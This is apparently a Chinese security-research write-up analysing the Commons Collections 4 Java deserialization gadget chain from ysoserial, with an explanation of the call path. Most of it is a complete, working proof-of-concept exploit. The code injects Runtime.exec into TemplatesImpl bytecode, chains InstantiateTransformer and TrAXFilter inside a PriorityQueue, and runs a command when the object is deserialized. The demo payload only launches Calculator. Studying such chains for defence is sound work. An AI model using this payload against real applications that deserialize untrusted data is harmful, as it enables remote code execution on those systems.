1.CommonsCollections4利用链分析
这个利用链和前面的相比就真的没什么不一样的了。其实就是CommonsCollections2把InvokerTransformer换成了InstantiateTransformer。其他基本上都是一样的。从ysoserial提取出来的测试代码如下:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.util.PriorityQueue;
public class CC4Test {
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
@Override
public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}
public static void main(String[] argv) throws IOException, ClassNotFoundException, NotFoundException, CannotCompileException, TransformerConfigurationException, IllegalAccessException, NoSuchFieldException, InstantiationException, InvocationTargetException, NoSuchMethodException {
String command = "/Applications/Calculator.app/Contents/MacOS/Calculator";
Class transFactory = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl");
TemplatesImpl template = new TemplatesImpl();
//生成一段恶意的_bytecodes
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(CC4Test.StubTransletPayload.class));
final CtClass clazz = pool.get(CC4Test.StubTransletPayload.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");";
clazz.makeClassInitializer().insertAfter(cmd);//插入类初始化代码,即要执行的恶意代码
final byte[] classBytes = clazz.toBytecode();
//设置templates的_bytecodes
Field fieldByteCodes = template.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);
fieldByteCodes.set(template, new byte[][]{classBytes});
//设置templates的_name
Field filedName = template.getClass().getDeclaredField("_name");
filedName.setAccessible(true);
filedName.set(template,"jus4fun");
//设置templates的_tfactory参数
Field filedtfactory = template.getClass().getDeclaredField("_tfactory");
filedtfactory.setAccessible(true);
filedtfactory.set(template,transFactory.newInstance());
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "jus4fun" };
InstantiateTransformer instantiate = new InstantiateTransformer(paramTypes, args);
ConstantTransformer constant = new ConstantTransformer(String.class);
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);
Field iConstantField = constant.getClass().getDeclaredField("iConstant");
iConstantField.setAccessible(true);
iConstantField.set(constant, TrAXFilter.class);
Field paramTypesField = instantiate.getClass().getDeclaredField("iParamTypes");
paramTypesField.setAccessible(true);
paramTypes = (Class[]) paramTypesField.get(instantiate);
Field argsField = instantiate.getClass().getDeclaredField("iArgs");
argsField.setAccessible(true);
args = (Object[]) argsField.get(instantiate);
paramTypes[0] = Templates.class;
args[0] = template;
//序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(queue);
//反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = (Object)objectInputStream.readObject();
}
}
运行后正常弹出计算器,命令被执行。整个反序列化过程如下:
返回的是一个PriorityQueue实例的反序列化数据,首先进入PriorityQueue.readObject,这里它会调用heapify()。

heapify中调用了siftDown()。

siftDown里又由于我们设置了comparator,所以它又调用了siftDownUsingComparator。

而这里面调用了我们设置的comparator的compare方法。我们传入的comparator代码为new TransformingComparator(chain)。查看其compare()方法如下:

可以看到又是熟悉的transformer.transform。而transformer是我们设置的ChainedTransformer。跟前面一模一样,又是使用InstantiateTransformer调用TrAXFilter的构造方法,从而触发恶意的TemplatesImpl的newTransform方法执行命令。这条利用链感觉就是CC2和CC3的结合。